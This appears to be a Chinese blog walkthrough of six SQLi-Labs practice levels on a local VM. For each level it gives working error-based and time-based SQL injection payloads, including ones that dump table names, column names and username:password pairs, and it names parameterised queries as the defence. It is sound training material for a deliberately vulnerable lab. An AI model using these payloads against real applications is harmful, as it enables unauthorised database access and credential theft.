SQLi-Labs 六关 SQL 注入过关笔记

实验环境:Ubuntu 虚拟机 + SQLi-Labs + Firefox + HackBar

靶场地址示例:http://192.168.101.136/sqli/

本笔记仅用于本人搭建并授权测试的本地靶场。


一、实验前说明

在 Firefox 中打开对应关卡,例如:

复制代码
http://192.168.101.136/sqli/Less-1/?id=1

打开 HackBar 后,把完整 URL 或 id= 后面的 Payload 填入并执行。

常用说明:

  • --+:注释后面的原 SQL。

  • %23:# 的 URL 编码,--+ 不生效时可尝试。

  • database():获取当前数据库名。

  • extractvalue():制造 XPath 报错,并把查询结果显示在错误信息中。

  • 0x7e:字符 ~,便于识别查询结果。

  • 截图快捷键:Win + Shift + S。


第一关:Less-1

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

id 被单引号包围,因此属于单引号字符型注入。

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-1/?id=1

测试单引号

复制代码
http://192.168.101.136/sqli/Less-1/?id=1'

出现 SQL 语法错误,说明输入进入了 SQL。

获取数据库名

HackBar Payload:

复制代码
1' AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

复制代码
http://192.168.101.136/sqli/Less-1/?id=1%27%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

其中 security 是当前数据库名。

3. 截图

4. 一句话总结

Less-1 的重点是:闭合单引号,再利用报错函数显示数据库名。


第二关:Less-2

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id=$id LIMIT 0,1;

id 外面没有引号,因此属于数字型注入。

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-2/?id=1

获取数据库名

HackBar Payload:

复制代码
1 AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-2/?id=1%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

3. 截图

4. 一句话总结

Less-2 的重点是:数字型参数不需要闭合单引号。


第三关:Less-3

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id=('$id') LIMIT 0,1;

输入值外面既有单引号,又有括号,因此需要闭合:

复制代码
')

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-3/?id=1

测试闭合

复制代码
1')--+

获取数据库名

HackBar Payload:

复制代码
1') AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-3/?id=1%27)%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

3. 截图

4. 一句话总结

Less-3 的重点是:同时闭合单引号和右括号。


第四关:Less-4

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id=("$id") LIMIT 0,1;

输入值外面是双引号和括号,因此需要闭合:

复制代码
")

2. 操作步骤

正常访问

复制代码
http://192.168.101.136/sqli/Less-4/?id=1

测试闭合

复制代码
1")--+

获取数据库名

HackBar Payload:

复制代码
1") AND extractvalue(1,concat(0x7e,database(),0x7e))--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-4/?id=1%22)%20AND%20extractvalue(1,concat(0x7e,database(),0x7e))--+

预期结果类似:

复制代码
XPATH syntax error: '~security~'

3. 截图

4. 一句话总结

Less-4 的重点是:使用双引号和右括号闭合,不能照搬 Less-3。


第五关:Less-5

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

它和 Less-1 一样属于单引号字符型,但正常查询时不会直接显示用户名和密码。

特点是:

复制代码
正常数据不回显
数据库错误可以回显

因此 Less-5 适合练习报错注入。

2. 操作步骤

正常访问

sql 复制代码
http://192.168.101.136/sqli/Less-5/?id=1

页面通常只显示:

复制代码
You are in...........

获取数据库名

复制代码
1' AND extractvalue(1,concat(0x7e,database(),0x7e))--+

预期看到:

复制代码
XPATH syntax error: '~security~'

获取当前数据库中的表名

sql 复制代码
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))--+

预期可能看到:

复制代码
emails,referers,uagents,users

获取 users 表的字段名

sql 复制代码
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'),0x7e))--+

预期可能看到:

复制代码
id,username,password

可选:查看 SQLi-Labs 自带练习数据

复制代码
1' AND extractvalue(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) FROM users),0x7e))--+

其中 0x3a 代表冒号 :。

报错信息长度有限,只显示部分内容属于正常情况。

3. 截图

4. 一句话总结

Less-5 的重点是:正常数据不显示,但可以让数据库通过错误信息显示数据库名、表名和字段名。


第六关:Less-9

1. 题目特点

原 SQL 结构类似:

sql 复制代码
SELECT * FROM users WHERE id='$id' LIMIT 0,1;

Less-9 页面不会显示查询数据,也不会显示数据库错误,因此属于时间盲注。

判断方法是:

  • 条件为真:数据库延迟。

  • 条件为假:数据库快速返回。

2. 操作步骤

正常访问

sql 复制代码
http://192.168.101.136/sqli/Less-9/?id=1

真条件测试

HackBar Payload:

复制代码
1' AND IF(1=1,SLEEP(5),0)--+

完整 URL:

复制代码
http://192.168.101.136/sqli/Less-9/?id=1%27%20AND%20IF(1=1,SLEEP(5),0)--+

页面应延迟约 5 秒。

假条件测试

HackBar Payload:

复制代码
1' AND IF(1=2,SLEEP(5),0)--+

完整 URL:

sql 复制代码
http://192.168.101.136/sqli/Less-9/?id=1%27%20AND%20IF(1=2,SLEEP(5),0)--+

页面应快速返回。

验证数据库名是否为 security

复制代码
1' AND IF(database()='security',SLEEP(5),0)--+

如果延迟约 5 秒,说明当前数据库名是 security。

3. 截图

4. 一句话总结

Less-9 的重点是:页面没有回显时,通过响应时间判断 SQL 条件真假。


七、六关对比表

关卡 参数类型 闭合方式 主要练习内容
Less-1 单引号字符型 ' 基础报错注入
Less-2 数字型 无引号 数字型注入
Less-3 字符型加括号 ') 单引号和括号闭合
Less-4 双引号加括号 ") 双引号和括号闭合
Less-5 单引号字符型 ' 报错获取库名、表名和字段名
Less-9 单引号字符型 ' 时间盲注

八、常见错误

1. Less-2 多加单引号

错误:

复制代码
1' AND ...

正确:

复制代码
1 AND ...

2. Less-3 忘记闭合括号

错误:

复制代码
1' AND ...

正确:

复制代码
1') AND ...

3. Less-4 使用了单引号

错误:

复制代码
1') AND ...

正确:

复制代码
1") AND ...

4. 注释符不生效

优先使用:

复制代码
--+

如果不生效,尝试:

复制代码
%23

5. extractvalue 不可用

可尝试:

复制代码
updatexml(1,concat(0x7e,database(),0x7e),1)

例如 Less-5:

复制代码
1' AND updatexml(1,concat(0x7e,database(),0x7e),1)--+

九、学习总结

六关的核心区别:

复制代码
Less-1:单引号
Less-2:数字型
Less-3:单引号加括号
Less-4:双引号加括号
Less-5:报错注入
Less-9:时间盲注

正确的解题思路:

复制代码
查看原 SQL
→ 判断数字型或字符型
→ 判断引号和括号
→ 正确闭合
→ 加入报错函数或延时函数
→ 使用 HackBar 发送
→ 观察结果
→ 截图记录

最根本的防御方式是参数化查询,不能直接把用户输入拼接进 SQL。

相关推荐
一隅论数智3 天前
给AI一张“业务概念地图“:本体如何从哲学走向企业智能
大数据·人工智能·经验分享·笔记·学习·学习方法·政务
这个DBA有点耶3 天前
MVCC深入:Read View、版本链与快照读——InnoDB并发控制的内核
数据库·mysql·架构
DBA_G3 天前
从地面到云霄:GBase数据库在民航三大场景的落地实践
数据库
自由能燃气设备3 天前
商用全预混低氮冷凝锅炉免费方案vs付费方案对比+选型避坑指南
大数据·数据库·人工智能
科创致远3 天前
科创致远 ESOP 系统核心效能与实战价值展示
大数据·数据库·人工智能·精益工程
深圳老胡3 天前
STM32F407 控制 L6470 步进电机驱动 —— 控制过程简介
笔记·stm32·单片机·嵌入式硬件·代码规范
Because_of_Her13 天前
并查集-听课笔记
笔记·算法·并查集
漂着的圆木3 天前
Agent 功能参与度:Copilot 怎么算
sql·数据分析·agent·githubcopilot·度量
彧azz3 天前
Linux 环境下 Redis 学习总结:数据类型、持久化、锁、事务、主从与缓存问题
linux·redis·笔记·学习·面试
2601_962218613 天前
万象生鲜系统称重自动多退少补算法解决生鲜非标品痛点
大数据·数据库·人工智能·python·算法